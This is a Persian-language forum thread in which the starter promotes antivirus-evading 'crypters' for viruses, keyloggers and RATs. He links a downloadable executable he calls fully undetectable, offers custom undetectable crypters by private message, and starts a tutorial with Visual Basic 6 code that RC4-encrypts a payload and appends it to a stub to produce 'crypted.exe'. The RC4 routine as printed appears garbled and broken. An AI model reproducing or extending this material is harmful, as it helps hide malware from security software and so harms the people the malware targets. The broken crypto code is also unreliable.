آگاه‌سازی‌ها
پاک‌کردن همه
بایگانی
6
ارسال
3
کاربران
8
Reactions
743
نمایش
شروع کننده موضوع 1394/02/03 16:36
کریپتر چیه؟
کریپترها ویروس و کیلاگر و رت شما رو از آنتی ویروس مخفی می کنن.
توی این تاپیک آموزش کریپتر نویسی و دانلود بعضی از اون هارو می ذارم.
نکته:اگر کسی کریپتری می خواد که هیچ آنتی ویروسی نگیره p.m بده
لینک اسکن یه نمونه از کریپترهایی که من نوشتم:
http://virusscan.jotti.org/en/scanre...13c663173df011
یه کریپتر هم براتون می ذارم که هیچ آنتی ویروسی بهش گیر نمی ده
کاملا فود!
لینک اسکن
http://virusscan.jotti.org/en/scanresult/1608f17fb46cecd1f4484c95cd7b9b79257751e0
لینک دانلود:
http://s6.picofile.com/file/81843600...ject1.exe.html
تست شده رو رینلاگر
اینو خودم نوشتم،پس خواهشا ریپورت ندید
شروع کننده موضوع 1394/02/14 10:52
شرمنده بابت تاخیر،مسافرت بودم.
توی این پست ابزار های مورد نیاز رو براتون می ذارم.
دانلود Visual Basic 6 نسخه ی کامل
دانلود Microsoft Visual Studio 2010 Ultimate
دانلود Microsoft Visual Studio 2013 Ultimate VL Final + Update 1
شروع کننده موضوع 1394/02/14 12:02
توی این پست با اجزای سازنده ی یه کریپتر نوشته شده یا زبان vb آشنا میشیم
یه کرپیتر از دو جز تشکیل شده. کلاینت که همون ظاهر کریپتر و stub که کار اصلی رو انجام می ده
این یه کریپتره:
ولی ما از یه کلاینت ساده استفاده می کنیم:
یه کلاینت حداقل از سه بخش تشکیل شده:
کدهای مربوط یه جست و جوی فایل:
cmdlg.ShowOpen
txtFile.Text = cmdlg.FileName
کدهای مربوط به دستور کریپت:
Dim sStub As String, sFile As String
Open App.Path & "stub.exe" For Binary As #1
sStub = Space(LOF(1))
Get #1, , sStub
Close #1
Open txtFile.Text For Binary As #1
sFile = Space(LOF(1))
Get #1, , sFile
Close #1
sFile = RC4(sFile, "password")
Open App.Path & "crypted.exe" For Binary As #1
Put #1, , sStub
Put #1, , "#^#^#"
Put #1, , sFile
Close #1
MsgBox "File Crypted", vbInformation, "Success!"
کد الگوریتم کریپت:
Public Function RC4(ByVal Data As String, ByVal Password As String) As StringOn Error Resume NextDim F(0 To 255) As Integer, X, Y As Long, Key() As ByteKey() = StrConv(Password, vbFromUnicode)For X = 0 To 255Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256F(X) = XNext XKey() = StrConv(Data, vbFromUnicode)For X = 0 To Len(Data)Y = (Y + F(Y) + 1) Mod 256Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))Next XRC4 = StrConv(Key, vbUnicode)End Function
منظور از الگوریتم کریپت چیزی شبیه به رمزگذاری های معمول است اما شامل کدهایی می شود که در دستور کریپت و همین طور در Stub خوانده می شوند.این الگوریتم که ضمیمه شد 1الگوریتم RC4 نرمال است که همان طور که در دستور 2 آمده آن را فراخوانی کرده ایم.الگوریتم کریپت چیزی است که در کلاینت و Stub به 1شکل تکرار خواهد شد.این الگوریتم بدون شک بسیار قدیمی است اما می شود آن را تغییر داد و به 1الگوریتم به روز تبدیل کرد که به آن هم میرسیم.
در آخر این پست 1 کد ساده ی کلاینت ضمیمه می کنم برای اینکه آشنا بشوید.در پست بعدی هم فیلم آموزش قرار خواهم داد که چطور این کد ها 1کلاینت را تشکیل میدهند.
دوستان من کدهارو از سایت آشیانه گفتم اما اگر توی اینترنت سرچ کنید سورس کریپتر زیاد هست
تشکرها کمه،باور کنید الان گه عکس 4 تا گربه می ذاشتم بیشتر استقبال می شد
1394/02/14 22:26
سپاس... خواس میگم
